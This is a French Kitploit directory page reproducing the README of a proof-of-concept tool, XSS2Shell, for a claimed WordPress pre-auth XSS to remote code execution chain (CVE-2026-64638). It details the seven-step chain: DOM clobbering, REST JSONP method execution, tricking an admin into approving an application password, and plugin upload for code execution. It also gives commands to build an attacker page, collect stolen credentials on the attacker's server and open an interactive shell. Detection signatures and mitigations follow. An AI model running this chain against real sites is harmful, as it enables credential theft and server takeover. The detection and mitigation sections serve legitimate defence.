Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
poc-CVE-2026-64638- — Chaîne d'exploitation PoC pour XSS pré-auth WordPress menant à une RCE via DOM clobbering, REST JSONP/SOME et téléversement de plugin, avec vérification en laboratoire Docker et shell interactif. | Kitploit
Outils/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
Outils de PhishingGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionIngénierie SocialeRed Teaming
GitHubmohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

Chaîne d'exploitation PoC pour XSS pré-auth WordPress menant à une RCE via DOM clobbering, REST JSONP/SOME et téléversement de plugin, avec vérification en laboratoire Docker et shell interactif.

il y a 12 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

XSS2Shell — CVE-2026-64638 PoC

Chaîne d'exploitation XSS pré-auth → RCE pour WordPress, basée sur les recherches de pwn.ai publiées sur ionsec.io.

⚠️ AVERTISSEMENT LÉGAL : Réservé à des FINS ÉDUCATIVES et à des TESTS AUTORISÉS. Utilisez uniquement sur des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Vérification en laboratoire

ÉtapeTechniqueStatut
1XSS par différence de parsing (sanitize_user + écart de parsing navigateur)✅ Vérifiée
2DOM clobbering (<area id=ajaxurl>, <div id=color-picker>)✅ Vérifiée
3Déclenchement automatique de user-profile.js sur la page de connexion✅ Vérifiée
4Le callback JSONP de l'API REST autorise la traversée par points (window.opener.approve.click)✅ Vérifiée
5Contournement via _method=GET + _envelope=1✅ Vérifiée
6Vol de mot de passe d'application (SOME)⚠️ Nécessite un clic administrateur
7Upload de plugin → exécution PHP (sans activation)⚠️ Nécessite des identifiants

Voir lab/VERIFICATION_REPORT.md pour tous les détails.

Résumé de la vulnérabilité

Chaîne d'exploitation (7 étapes)

root@kitploit:~
Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

Démarrage rapide

1. Installer les dépendances

root@kitploit:~
pip install requests

2. Reconnaissance de la cible

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Lab Docker (pour les tests)

root@kitploit:~
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. Vérifier le vecteur XSS contre le lab

root@kitploit:~
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. Générer la page attaquante

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

Téléversez xss2shell_attacker.html et collect.php sur votre serveur.

6. Envoyer le lien à l'administrateur

Un administrateur WordPress connecté doit visiter la page attaquante et cliquer une fois.

7. Recevoir les identifiants

Les identifiants apparaissent dans collected_creds.json sur votre serveur :

root@kitploit:~
[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. Exécuter la chaîne RCE

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. Shell interactif

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. Nettoyage

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

Détection (forensique des logs)

Signatures à rechercher dans les journaux du serveur :

  • Journal d'accès : POST /wp-login.php avec un corps contenant < area, < div, < button
  • Journal d'accès : requête REST avec le paramètre de requête _jsonp= (en particulier _jsonp=a.b.c — le point est l'indicateur de SOME)
  • Journal d'accès : _envelope=1 + _method=GET sur des routes qui devraient les rejeter
  • Journal d'accès : POST /wp-admin/update.php?action=upload-plugin depuis une IP non reconnue
  • Journal d'accès : GET /wp-content/plugins/{unknown-plugin}/*.php — fichier PHP dans un plugin jamais activé
  • Journal applicatif : mot de passe d'application créé quelques secondes après une requête vers authorize-application.php

Atténuation

  1. Mettez à jour vers WordPress 7.0.3 (ou la dernière version corrective de votre branche)
  2. Renouvelez tous les mots de passe d'application des administrateurs
  3. Désactivez les mots de passe d'application si nécessaire :
    root@kitploit:~
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. Désactivez le JSONP REST :
    root@kitploit:~
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. Désactivez les modifications de fichiers :
    root@kitploit:~
    define('DISALLOW_FILE_MODS', true);
    
  6. Règles WAF : Bloquez _jsonp=, _envelope= sur les points de terminaison REST ; bloquez < area dans le corps des requêtes POST vers wp-login.php

Structure des fichiers

root@kitploit:~
xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

Références

  • IonSec — XSS2Shell: WordPress Pre-Auth XSS to RCE
  • pwn.ai — Découverte originale
  • WordPress Security Releases
Télécharger l’outil
ÉlémentDétail
CVECVE-2026-64638
CVSS 4.08.9
Versions concernéesWordPress 4.7 – 7.0.2 (versions correctives non patchées)
CorrectifWordPress 7.0.3 (6 août 2026), rétroporté vers toutes les branches de maintenance
AuthentificationPré-auth (XSS non authentifié)
ImpactExécution de code à distance (RCE) via l'upload de plugin